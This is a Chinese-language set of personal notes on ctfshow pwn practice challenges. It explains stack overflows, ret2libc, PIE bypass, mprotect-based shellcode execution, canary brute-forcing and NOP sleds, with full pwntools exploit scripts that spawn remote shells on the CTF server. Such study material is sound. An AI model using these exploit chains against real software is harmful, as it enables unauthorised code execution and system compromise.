ctfshow

前置基础

pwn19

fork()函数创建了一个子进程。如果当前代码处于父进程(fork() 返回 1)则进入 if 语句块。如果是子进程(fork() 返回 0),则进入 else 语句块。在子进程中给予了用户一个 shell 权限,允许用户在子进程中输入数据并通过 system 运行。

值得注意的是在 read 函数前有一句 fclose(_bss_start);应该就是题目所说的关闭了输出流,所以正常地输入命令是没有办法回显的。

只要在命令后面加上>&0 来重定向就能实现回显了。

原理:

在 Linux 中,>&0 是一种输入重定向的语法。重定向是一种将命令的输入或输出从默认的位置改为指定位置的方法。在这个语法中,> 符号用于输出重定向,& 符号用于指定文件描述符(File Descriptor)。文件描述符是一个非负整数,用于在 Linux 中标识打开的文件或数据流。特别地,文件描述符 0 表示标准输入(stdin),它通常与终端或键盘相关联。

所以,>&0 的含义是将命令的输出重定向到标准输入,也就是将命令的输出内容发送到与终端或键盘关联的地方。一般情况下,输出重定向常用的有 >(覆盖)和 >>(追加)来将输出保存到文件中。

在子进程结束输入并回显后,会进入父进程执行 wait、sleep、printf 等操作,所以最后还是会输出'flag is not here'字符串,并结束程序。因此,想要再次输入需要重新 nc 连接。现在所有原理都清晰了,nc 连接后直接输入命令 cat ctfshow_flag >&0,即可得到 flag

pwn23

注意这个 signal 信号,当触发段错误时会执行这个 signal 里的 sigsegv_handler()函数,这个函数是来刷新缓冲区的,也就是会把缓冲区的内容全部打印出来。所以我们只需要发生一个段错误就可以了。

signal(11, (__sighandler_t)sigsegv_handler)

  • 11:信号编号,对应于 SIGSEGV,即段错误信号。
  • (sighandler_t)sigsegv_handler:将 sigsegv_handler 函数强制转换为sighandler_t 类型,这是 signal 函数所期望的信号处理函数类型。

strcpy()函数如何发生段错误

strcpy 函数是 C 标准库中用于将一个字符串复制到另一个字符串的函数。它的原型如下:

char *strcpy(char *dest, const char *src);
  • dest:目标字符串的指针。
  • src:源字符串的指针。

strcpy 函数会将 src 指向的字符串(包括终止空字符)复制到指向的内存区域。如果 dest 指向的内存区域不足以容纳 src 字符串及其终止空字符,就会发生缓冲区溢出,可能导致段错误(segmentation fault)。

示例代码

以下是一个可能导致段错误的示例代码:

#include <stdio.h>
#include <string.h>

int main() {
    char src[] = "This is a long string that will cause a buffer overflow";
    char dest[10]; // 目标缓冲区只能容纳9个字符(加上终止空字符)

    strcpy(dest, src); // 这将导致缓冲区溢出

    printf("dest: %s\n", dest);

    return 0;
}

解释

  1. 定义字符串和缓冲区
    • src 是一个较长的字符串,包含 52 个字符(包括终止空字符)。
    • `dest 是一个较小的缓冲区,只能容纳 10 个字符(包括终止空字符)。
  2. 调用strcpy函数
    • strcpy(dest, src);>尝试将 src 字符串复制到 dest 缓冲区中。
    • 由于 src 字符串的长度超过了 dest 缓冲区的容量,strcpy 会继续向 dest 缓冲区之后的内存写入数据,导致缓冲区溢出。
  3. 段错误
    • 缓冲区溢出会覆盖 dest 缓冲区之后的内存数据,可能导致程序访问非法内存地址,从而触发段错误。

避免段错误

为了避免段错误,可以使用 strncpy 函数,并指定最大复制长度,以确保不会发生缓冲区溢出。例如:

#include <stdio.h>
#include <string.h>

int main() {
    char src[] = "This is a long string that will cause a buffer overflow";
    char dest[10]; // 目标缓冲区只能容纳9个字符(加上终止空字符)

    strncpy(dest, src, sizeof(dest) - 1); // 最多复制9个字符
    dest[sizeof(dest) - 1] = '\0'; // 确保字符串以空字符结尾

    printf("dest: %s\n", dest);

    return 0;
}
  • strncpy(dest, src, sizeof(dest) - 1);最多复制 sizeof(dest) - 1 个字符(即 9 个字符),以避免缓冲区溢出。
  • dest[sizeof(dest) - 1] = '\0';确保目标字符串以空字符结尾。

通过这种方式,可以安全地复制字符串,避免段错误的发生。

常见段错误

段错误归根结底就是访问了非法内存

数组越界

scanf 错误使用

int b; scanf("%d",b);//应为scanf("%d",&b);

内存访问只读内存区域

pwn24

关闭了 NX,代表栈上的代码可以执行

这个地方 ida 不能反编译,只能看汇编了

pwn25(NX 保护)

我们看到 plt 表中含有 puts 函数跟 write 函数,那 got 表中也一定有他俩,那我们就使用 puts 函数来输出函数的内存地址

┌──(kali㉿kali)-[~/Desktop]
└─$ objdump -d -j .plt pwn

pwn:     文件格式 elf32-i386


Disassembly of section .plt:

08048370 <.plt>:
 8048370:       ff 35 04 a0 04 08       push   0x804a004
 8048376:       ff 25 08 a0 04 08       jmp    *0x804a008
 804837c:       00 00                   add    %al,(%eax)
        ...

08048380 <read@plt>:
 8048380:       ff 25 0c a0 04 08       jmp    *0x804a00c
 8048386:       68 00 00 00 00          push   $0x0
 804838b:       e9 e0 ff ff ff          jmp    8048370 <.plt>

08048390 <puts@plt>:
 8048390:       ff 25 10 a0 04 08       jmp    *0x804a010
 8048396:       68 08 00 00 00          push   $0x8
 804839b:       e9 d0 ff ff ff          jmp    8048370 <.plt>

080483a0 <__libc_start_main@plt>:
 80483a0:       ff 25 14 a0 04 08       jmp    *0x804a014
 80483a6:       68 10 00 00 00          push   $0x10
 80483ab:       e9 c0 ff ff ff          jmp    8048370 <.plt>

080483b0 <write@plt>:
 80483b0:       ff 25 18 a0 04 08       jmp    *0x804a018
 80483b6:       68 18 00 00 00          push   $0x18
 80483bb:       e9 b0 ff ff ff          jmp    8048370 <.plt>

080483c0 <setvbuf@plt>:
 80483c0:       ff 25 1c a0 04 08       jmp    *0x804a01c
 80483c6:       68 20 00 00 00          push   $0x20
 80483cb:       e9 a0 ff ff ff          jmp    8048370 <.plt>

# 导入相关的库
from pwn import *
from LibcSearcher import LibcSearcher

# 打印调试信息
context.log_level = 'debug'

# 建立连接
p = remote("pwn.challenge.ctf.show",28256)
elf = ELF("./pwn")

# 溢出偏移地址
offset = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']

# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = b'a' * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))

# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts", puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = b'a' * offset + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
p.sendline(payload)

# 进入交互模式
p.interactive()


pwn31(ASLR 和 PIE 绕过)

2.ctfshow 虚拟机里面执行了但是打不通线上,只能打通本地

这里打印出来 main 函数的地址了,我们可以根据这个地址和 main 函数相对一基地址的偏移来得到程序的基地址,这样就可以绕过 ASLR 和 PIE 了

from pwn import *
from LibcSearcher import *
context.log_level = "debug"

p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']

然后是获取溢出长度。

先用

cyclic 200

得到字符串。

然后启动程序,会让我们输入字符。把刚才生成的字符串输入进去。

这就是我们溢出的地址。

cyclic -l 0x6261616b

得到溢出长度

接下来就可以用 ret2libc 来写了。

from pwn import *
from LibcSearcher import *
context.log_level = "debug"

p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']
puts_plt = base_addr + elf.sym['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebx = base_addr + 0x1fc0
payload = 132 * 'a' + p32(ebx) + 'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = 140 * 'a' + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr)
p.send(payload)
p.interactive()

第 15 行写成 132 _ 'a' + p32(ebx) + 'a' _ 4 的原因是在 ctfshow 函数的最后有个 mov ebx, [ebp+var_4]。

pwn32

分析逻辑

getegid()用来取得执行目前进程有效组识别码. 有效的组识别码用来决定进程执行时组的权限.

int setregid(gid_t rgid, gid_t egid);
setregid()用来将参数rgid设为目前进程的真实组识别码,将参数egid设置为目前进程的有效组识别码。
如果参数rgid或egid值为-1,则对应的识别码不会改变。

程序接收三个参数 argc、argv 和 envp,

其中 argc 表示命令行参数的数量,argv 是一个字符指针数组,每个元素指向一个命令行参数的字符串,envp 则是一个指向环境变量的指针数组。

函数中首先调用了 getegid 和 setresgid 函数,用于获取和设置有效的组 ID。然后调用 logo 函数输出 logo 信息。

接着通过strtol函数将argv[1]中的前 10 个字节以及第 11 个字节拷贝到了 buf1 数组中,

然后通过strcpy函数将字符串”CTFshowPWN”拷贝到了 buf2 数组中,并通过 printf 函数输出了 buf1 和 buf2 的值。(注:其实还有 argv[0]的,这个参数是每个程序的都一定会有的,并且值为程序名称)

然后从argv[3]中解析出一个整数值,并将argv[2]中的前 v5 个字节拷贝到 buf1 数组中,通过strcpy函数将argv[1]拷贝到 buf2 数组中,并通过 printf 函数输出了 buf1 和 buf2 的值。

接着使用 fgets 函数从_bss_start 地址开始读取最多 11 个字节的数据到 buf1 数组中,

然后使用 printf 函数输出了 buf1 中的格式化字符串,并将 num 的地址作为参数传递给 printf 函数。

最后的 if 语句中,如果 argc 的值大于 4(因为存在argv[0],所以这里默认为 1),则调用 Undefined 函数,打开并读取一个名为”/ctfshow_flag”的文件

总之,只要我们让 argc 的值大于 4 就能拿到 flag 了

因为本题目 FORTIFY_SOURCE 没有开启,代表我们启动函数直接输入 4 个参数(这时 argc=5 > 4)就行了,而且这 4 个参数没有长度限制,如果开启 FORTIFY_SOURCE 就不好说了,因为开启了之后,由于程序存在 strcpy 和 memcpy 函数会检测长度,如果长度超过了限制,可能会使程序抛出异常而退出执行

pwn33

和上一题不同的是 memcpy 和 strcpy 这两个函数被替换成了mencpy_chk 和strcpy_chk 安全函数

可以看到这两个函数相比前两个函数只是加上了 11LL 这个参数加以限制,因为 buf1 和 buf2 在声明的时候的长度就是 11,所以程序为了防止溢出,使用后两个函数加上这两个数组的长度加以限制以防溢出

但是这里完全不影响我们输入 4 个参数拿到 flag,因为只要我们输入的第一个和第二个参数的长度不超过 11 就行了

同样方式拿到 flag

pwn34

可以看到很多函数相对之前来说都加上了_chk 字符。

printfchk 该函数与 printf 的区别在于

不能使用 %x\(n 不连续地打印,也就是说如果要使用 %3\)n,则必须同时使用 %1\(n 和 %2\)n。在使用 %n 的时候会做一些检查

同样方式拿到 flag

栈溢出

pwn35

把 flag 读取到 flag 变量里。然后打印一堆东西。如果参数<=1 就 try again,否则就执行 ctfshow 函数,然后提示 flag 不在这。

注意这个函数。当发生对存储的无效访问时,会把 stderr 打印输出,即将 flag 的值打印输出。

ctfshow 函数里 dest 的长度是 104,但是 strcpy 是个危险函数,可以无限制复制,得到栈溢出。同时这个函数是把第一个 argv[1]赋给 dest,所以我们只要第一个参数大于 104 字节就行。

pwn36

设置模式

context(arch="i386",os="linux",log_level="debug")

先打印出一堆东西,然后进入 ctfshow 函数

ctfshow 函数里有个 get 可以造成栈溢出,然后左边符号表里有个 get_flag 后门函数,把 flag 读取到 stream 里,再给 s 最后打印出来。

这样我们就可以用 get 覆盖返回地址,执行 flag 函数。

from pwn import *

context(arch="i386",os="linux",log_level="debug")

p = remote("pwn.challenge.ctf.show",28104)
# p=process("./pwn")
elf=ELF("./pwn")
flag_addr=elf.sym['get_flag']
offset=0x28+4
payload=offset*b'a'+p32(flag_addr)
p.sendline(payload)
p.interactive()

这里flag_addr=elf.sym['get_flag']还是第一次用,以前不懂elf.sym不会用。

pwn38(栈对齐)

这里的难点是栈对齐。

如果是这样写的,就会在movaps xmmword ptr [rsp + 0x50], xmm0指令处报错。

from pwn import *

context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"

# p = remote("pwn.challenge.ctf.show",28213)
p=process(filename)
elf=ELF(filename)
flag_addr=elf.sym['backdoor']
padding=0xa+8
# payload=padding*b'a'+p64(flag_addr)
payload=flat([padding*'a',flag_addr])
gdb.attach(p)
# pause()

p.sendline(payload)

p.interactive()

报错的原因是这个指令需要 16 字节对齐(最后一位为 0),也就是说在这里,rsp + 0x50没有 16 字节对齐。看下面栈也可以看出来,rsp 的地址是0x7ffcc4f754f8,最后一位不是 0。所以我们要想办法变动一下栈,让 rsp 最后一位为 0。

第一种方法

添加一个 ret 语句

from pwn import *

context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"

# p = remote("pwn.challenge.ctf.show",28213)
p=process(filename)
elf=ELF(filename)
flag_addr=elf.sym['backdoor']
padding=0xa+8
payload=flat([padding*'a',0x400656,flag_addr])
gdb.attach(p)
# pause()

p.sendline(payload)

p.interactive()

第二种

跳过 push rbp,这会对栈造成影响。

from pwn import *

context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"

# p = remote("pwn.challenge.ctf.show",28213)
p=process(filename)
elf=ELF(filename)
flag_addr=elf.sym['backdoor']
padding=0xa+8
payload=flat([padding*'a',0x400658])
gdb.attach(p)
# pause()

p.sendline(payload)

p.interactive()

pwn43

通过 vmmap,看到这个段是可读可写的。到 ida 里找这个段里有哪个变量可以存储

这个变量可以用 gets 函数写入,然后执行 system

方法一

正常的传参

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28227)
offset = (0x6C+4)
system_addr = 0x8048450
buf2_addr = 0x804B060
gets_addr = 0x8048420
payload = b'a'*offset + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

方法二

wp说是用 32 位寄存器的思想

我的理解是如果在限制gets的返回函数不能是system情况下,那就在gets的返回地址上加随便几个pop,把参数pop掉,然后在pop的返回地址上写system,这种情况在函数有多个参数情况下多见

比如read函数,需要构造payload=padding+read+pop_3_ret+0+buf+len+system+瞎几把乱写+buf

# pwn43
from pwn import *

context.log_level = 'debug'
elf = ELF('./pwn43')
# io = remote('pwn.challenge.ctf.show', 28107)
io = process('pwn43')
gets = elf.sym['gets']
system = elf.sym['system']
buf2 = 0x804B060
pop_ebx = 0x08048409
pop_ebp = 0x0804884b
payload = cyclic(0x6c + 4) + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system) + p32(0) + p32(buf2)
# payload = cyclic(0x6c + 4) + p32(gets) + p32(pop_ebp) + p32(buf2) + p32(system) + p32(0) + p32(buf2)
io.sendline(payload)
io.sendline('/bin/sh')   # can also use 'sh'
# io.recv()
io.interactive()

pwn44

和上题一样,区别就是 64 位没有 ebx 寄存器,还需要用 rdi 代替,先找到地址.

pwn49

发现比较大,怀疑是静态编译

果然是

根据题目的提示,我们可能需要用到 mprotect 函数,那我们就先来了解一下什么是 mprotect 函数吧。这个函数是只要是静态链接的文件都会有的哦。

首先拖进 IDA,发现漏洞

可以算出偏移地址为 0x12 + 0x4 = 22

既然程序是静态连接,并且里面没有 system 函数,我们就不能使用 ret2libc 来打了。所以我们就是用 mprotect 函数来打,因为 mprotect 函数可以修改一段内存空间的权限,那我们选择一段内存空间将它的权限修改为可读可写可执行,然后将 shellcode 写在这段空间,之后再将程序的控制流转到这里,不就可以执行 shellcode 了嘛?即使文件开启了 NX,但是我们利用的是栈之外的空间,不久轻松绕过了 NX。hhh

我们的大概思路就是:

填充地址 + mprotect 函数 + 返回地址 + mprotect 的三个参数 + read 函数

我们看到 mprotect 函数是有三个参数的我们就必须要找到一个具有三个 pop 一个 ret 的 gadget,因为,我们将三个参数 pop 之后,栈顶就是 read 函数的地址了,这样 ret 之后就跳到 read 函数执行了。

需要解释的点:

  • 为什么要用参数把 pop 给扔出去呢?
    因为不扔出去的话,后面的函数无法执行,两种情况
    1. 两个函数以上的构成的 rop 链,下一个函数的地址不能作为上一个函数返回地址
    2. 第一个函数参数大于等于二的情况下,第二个函数作为返回地址时参数会受到影响

操作需要通过将参数移动到寄存器从而执行下一个函数(保证 ESP 在上一个函数执行完之后可以指向下一个函数的开

解释版 exp

from pwn import *

p = remote("pwn.challenge.ctf.show", "28141")
payload = 22 * 'a'
payload += p32(0x0806cdd0)# mprotect函数地址
payload += p32(0x08056194)# 3 pop 1 ret地址
payload += p32(0x080da000)# 需要修改的内存的起始地址
payload += p32(0x1000)# 修改内存空间的大小
payload += p32(0x7)# 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0)# read函数地址
payload += p32(0x080da000)# read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000)# shellcode地址
payload += p32(len(shellcode))
p.recvuntil("    * *************************************                           ")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

真实版 exp

from pwn import *
from LibcSearcher import LibcSearcher

context(arch="i386",os="linux",log_level="debug")
filename="./pwn"

# p = remote("pwn.challenge.ctf.show",28121)
p=process(filename)
elf = ELF(filename)

padding = 0x12+0x4
read_addr=elf.symbols['read']
mprotect_add=elf.sym['mprotect']
pop_ret=0x08056194
shllcode=asm(shellcraft.sh())

payload=flat([ b'a' * padding,mprotect_add,pop_ret,0x080da000,0x1145,7,read_addr,0x080da000,0,0x080da000,0x114514])

# p.recv()
p.sendline(payload)
p.sendline(shllcode)


p.interactive()

pwn50

法一(ret2libc)

from pwn import *
from LibcSearcher import LibcSearcher

context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"


p = remote("pwn.challenge.ctf.show", 28233)
# p=process(filename)
elf = ELF(filename)

# gdb.attach(p)
# pause()

padding = 0x20+0x8
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_ret=0x4007e3
ret_addr=0x04004fe

payload=flat([ b'a' * padding,rdi_ret,puts_got,puts_plt,ret_addr,main_addr])
p.sendline(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

#本地
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc_base=puts_addr-libc.symbols['puts']
# system_addr=libc_base+libc.symbols['system']
# binsh_addr=libc_base+next(libc.search(b"/bin/sh"))

# payload=flat([b'a' * padding,rdi_ret,binsh_addr,system_addr])
# p.sendline(payload)

#远程
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload=flat([b'a' * padding,rdi_ret,binsh_addr,system_addr])
p.sendline(payload)

p.interactive()

法二(mprotect 修改权限执行 shellcode)

from pwn import *
from LibcSearcher import LibcSearcher

context(arch="amd64",os="linux",log_level="debug")
filename="./pwn"


# p = remote("pwn.challenge.ctf.show", 28233)
p=process(filename)
elf = ELF(filename)

# gdb.attach(p)
# pause()

padding = 0x20+0x8
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
bss_start_addr= 0x601000
pop_rdi_ret=0x4007e3
ret_addr=0x04004fe
shellcode_addr=0x601000+0x100

#泄露libc地址
payload=flat([ b'a' * padding,pop_rdi_ret,puts_got,puts_plt,main_addr])
p.sendline(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

#用mprotect函数将bss段设置为可读可写可执行
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address=puts_addr-libc.symbols['puts']
pop_rsi_ret=libc.address+0x02601f
pop_rdx_r12_ret=libc.address+0x119431 #只有red,r12了,凑合用吧

#用mprotect修改权限
payload=flat([b'a'*padding,pop_rdi_ret,bss_start_addr,pop_rsi_ret,0x10000,pop_rdx_r12_ret,7,0,libc.symbols['mprotect'],main_addr])
p.sendline(payload)
#写入shellcode
payload=flat([b'a'*padding,pop_rdi_ret,shellcode_addr,libc.symbols['gets'],shellcode_addr])
p.sendline(payload)
p.sendline(asm(shellcraft.sh()))
#执行shellcode
# payload=flat([padding*b'a',shellcode_addr])
# p.sendline(payload)

p.interactive()

出现的问题

  • 设置 rei 和 rdi 的 gadgate 在 pwn 找不到就到 libc 里找,找到之后直接pop_rsi_ret=0x02601fpop_rdx_r12_ret=0x119431,没加上libc.address

pwn51(逆向分析漏洞,strcpy 函数漏洞)

完全看不懂啊淦,全是看别人的 wp,不知道关键函数的逻辑怎么得出来的

复制的别人都 wp

这个题的漏洞是一个 I 换七个字母 IronMan,需要覆盖 118 个字节,输入 16 个 I 即可,逻辑很简单,但是需要逆向分析

back_door = 0x0804902E
payload = b'I'*16 + p32(back_door)
p.sendline(payload)
p.interactive()

pwn52(函数传参调试控制)

from pwn import *
from LibcSearcher import LibcSearcher

context(arch="i386",os="linux",log_level="debug")
filename="./pwn"

p = remote("pwn.challenge.ctf.show", 28184)
# p=process(filename)
elf = ELF(filename)

padding=0x6c+4
back_door=elf.sym['flag']

payload=flat([padding*b'a',back_door,0,876,877])
p.sendline(payload)

p.interactive()

pwn53(人工伪造 cannary)

进入 ida,这个程序的逻辑是

这个 ctfshow 函数先是循环读取,每次读取一个字节,直到读取到换行符(ascii:10 0xa),循环读取才会结束,__isoc99_sscanf(v2,”%d”,&nbytes)这个函数从 v2 中读取一个整数,存放到 nbytes 变量中,这个变量决定了我们能够向 buf 写入的数据大小,我们想要造成溢出,这个数据就得大点,接下来,就去比较 s1 与我们的 global_canary 是否相同,相同这个函数才能正常返回,造成溢出

那我们就得去爆破这个 global_canary 的值了,这个值是静态的,是不变的,因为它起到的是类似 canary 的效果,所以我们可以反复连接程序,第一次去覆盖 global_canary 的一个字节,直到爆破出第一个字节所对应的值后,我们再改为覆盖两个字节,去爆破出第二个字节的值,依次类推,直到第四个字节爆破出来

from pwn import *

context(arch="i386",os="linux")
filename="./pwn"

# canary=b''

# for j in range(4):
#     for i in range(0xff):
#         p = remote("pwn.challenge.ctf.show",28184)
#         # p=process(filename)
#         p.sendline(str(-1))
#         payload=b'a'*0x20+canary+p8(i) #这里用p8()原因是p8()会发送不可见字符,如果用b''的话我们只能发送可见字符
#         p.sendafter(b'$ ',payload) #不能用send,用了后面的ans里会是乱码,不知道为什么
#         ans=p.recv()
#         print('ans---------->',ans)
#         if b'Canary Value Incorrect!'not in ans:
#             canary+=p8(i)
#             break
#         else:
#             print("tryying...")
#             p.close()
# print('cancry is ',canary)
canary= b'36D!' #这里是我已经爆破出来了才写的
p = remote("pwn.challenge.ctf.show",28184)
# p=process(filename)
elf=ELF(filename)
flag_addr=0x8048696
p.sendline(str(-1))
# payload=0x20*b'a'+canary+12*b'a'+p32(flag_addr)
payload=0x20*b'a'+canary+b'\x00' * (12+4)+p32(flag_addr) #这里填充完cannary之后应该填充12个字节,但是还要加4填充到ret地址
p.sendafter(b'$ ',payload)
p.interactive()

pwn54

image-20241022185459820

这里name和password变量是挨着的,同时要知道puts遇到'\x00'才会停止,所以我们可以把name填满,这样就不会出现'\x00'了,然后后面的get就会读取到password字符串,打印出来,得到password后再连接一下输入对应的密码就可以了

image-20241022185919419

或者也可以直接一个脚本解决

from pwn import *

context(arch="i386",os="linux",log_level="debug")
filename="./pwn"

p = remote("pwn.challenge.ctf.show",28152)
# p=process(filename)
elf=ELF(filename)
padding=256
payload=padding*b'a'
p.sendline(payload)
p.recvuntil(b'a,')
password=p.recv()
print("password is "+password.decode())
p.close()

p = remote("pwn.challenge.ctf.show",28152)
p.sendline("123")
p.sendline(password)
p.interactive()

pwn56(32为shellcode)

直接看wp吧

pwn57(64为shellcode)

直接看wp吧

pwn58.pwn59(IDA反汇编出[ebp+s]在两个函数里指向相同位置)

主要拿pwn58来解释

这里调用ctfshow函数传参的时候是[ebp+s]

image-20241023222512780

而ctfshow的gets函数的传参还是[ebp+s],这里一开始有疑惑,根据函数调用,这里两个函数的ebp不一样,为什么gets输入的结果在main函数的[ebp+s]地址也有.

image-20241023222608743

这里有个值得注意的地方,main和ctfshow函数的s是不一样的,这里可以在IDA里看见

image-20241023222932427

image-20241023222959248

pwn61(接收字符处理数据,shellcode填在ret_addr之前)

根据反汇编可以看到,v5的地址被打印出来,并且v5还被我们输入了,于是我们的目的就是接收v5的地址,然后输入shellcode,返回到v5执行shellcode

image-20241023235455728

问题是如何接收数据呢,看一下之前的笔记结合这个程序的输出特点

  • 可以用p.recvuntil('[')来去除掉地址之前的所有符号
  • 用v5_addr=p.recvuntil(']',drop=True),来接收地址,并且到']'后就停止接收,drop=Ture会丢弃掉],也就是说v5_addr字符串不会包括]

同时,v5到ret_addr的长度只有16字节,但是shellcode的长度是48字节,如果填入shellcode的话容纳不起来,所以要把shellcode放在ret地址之后,这样空间才充足.

而且,就算是可以,但是shellcode和v5长度差不多,shellcode里有个push指令,如果push太多了会破坏还没执行的shellcode的指令,导致shellcode不能执行

所以payload我是这样理解的payload=padding*b'a'+p64(v5_addr+padding+8)+shellcode

image-20241024192104892

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
# p = process('./pwn')
p = remote('pwn.challenge.ctf.show',28227)
shellcode = asm(shellcraft.sh())

p.recvuntil('[')
v5_addr=p.recvuntil(']',drop=True)
v5_addr = int(v5_addr, 16) 
#获取到的是字节串,p64()的参数是整形,要把字节串转化成整形
# 不能用hex(int(v5_addr, 16)),因为hex的结果是字符串,不能传给p64()
padding=24
print('v5_addr is '+hex(v5_addr)) #使用hex()把v5_addr转化成16进制字符串,
payload=padding*b'a'+p64(v5_addr+padding+8)+shellcode

p.send(payload)

p.interactive()

pwn66(找以'\x00'开头的汇编,不破坏shellcode前提下在前面加'\x00'绕过check)

image-20241127144820568

image-20241127144847831

程序的逻辑是向buf输入字符,check后如果不符合就退出,如果符号就执行buf的内容.所以我们的思路就是输入shellcode,绕过check

这里我们的目的是让check的返回值为1.

image-20241127144917653

这里check的漏洞是如果buf为0就会返回1.所以可以让shellcode的第一个是\x00,这样就可以绕过check了

image-20241127145138901

难点是如何让shellcode的第一个是\x00,如果buf是b'\x00',就会破坏后面的汇编语言

这里来用事实证明一下

asm(shellcraft.sh())的内容

        push 0x68
        mov rax, 0x732f2f2f6e69622f
        push rax
        mov rdi, rsp
        /* push argument array ['sh\x00'] */
        /* push b'sh\x00' */
        push 0x1010101 ^ 0x6873
        xor dword ptr [rsp], 0x1010101
        xor esi, esi /* 0 */
        push rsi /* null terminate */
        push 8
        pop rsi
        add rsi, rsp
        push rsi /* 'sh\x00' */
        mov rsi, rsp
        xor edx, edx /* 0 */
        /* call execve() */
        push 59 /* 0x3b */
        pop rax
        syscall

前面只加一个'\x00'在gdb中反汇编的内容

pwndbg> x/20i $rdx
   0x7f8a86d1b000:      add    BYTE PTR [rdx+0x68],ch
   0x7f8a86d1b003:      movabs rax,0x732f2f2f6e69622f
   0x7f8a86d1b00d:      push   rax
   0x7f8a86d1b00e:      mov    rdi,rsp
   0x7f8a86d1b011:      push   0x1016972
   0x7f8a86d1b016:      xor    DWORD PTR [rsp],0x1010101
   0x7f8a86d1b01d:      xor    esi,esi
   0x7f8a86d1b01f:      push   rsi
   0x7f8a86d1b020:      push   0x8
   0x7f8a86d1b022:      pop    rsi
   0x7f8a86d1b023:      add    rsi,rsp
   0x7f8a86d1b026:      push   rsi
   0x7f8a86d1b027:      mov    rsi,rsp
   0x7f8a86d1b02a:      xor    edx,edx
   0x7f8a86d1b02c:      push   0x3b
   0x7f8a86d1b02e:      pop    rax
   0x7f8a86d1b02f:      syscall

可以很明显的看到push 0x68被修改成了add BYTE PTR [rdx+0x68],ch\

找以'\x00'开头的汇编

from pwn import *
from itertools import *
import re
 
for i in range(1, 3):
    for j in product([p8(k) for k in range(256)], repeat=i):
        payload = b"\x00" + b"".join(j)
        res = disasm(payload)
        if (
            res != "        ..."
            and not re.search(r"\[\w*?\]", res)
            and ".byte" not in res
        ):
            print(res)
            input()

pwn67(32位nop sled)

参考:CTFshow-pwn入门-pwn67(nop sled空操作雪橇)-CSDN博客

image-20241211181139447

程序开启了canary,但是没有PIE和NX.可以泄露canary.但是题目给了栈的地址,

卡壳的原因:

对变量的增长方向不敏感,看wp时脑子里没想到seed和v1之间是个定值,而且没想到position会出现的区间

思路解释

首先我们要知道main函数的seed和query_position()的v1之间有一个定值的距离,这个距离是0x2d,也就是&seed=&v1+0x2d,然后query_position()最后输出并打印的结果是position=&v1+v2=&v1+random-668(random∈(0,1336))

所以我们只要把seed填到把打印出的position所有可能出现的区间用nop sled填满,这样就一定可以滑到shellcode.也是就是填充1336*nop + shellcode.

由于我们输入并执行的v5必须大于seed,因为变量是低到高增长,如果v5小于seed那就找不到nop sled了

position是有可能取到比seed小的地址的,所以我们得到position后要加668(防止取到比v1小的地址)和0x2d

其实整个过程是得到position原本的区间后,调整position的区间,使得区间一定在nop sled包裹的范围内

如何求seed和v5的距离

img
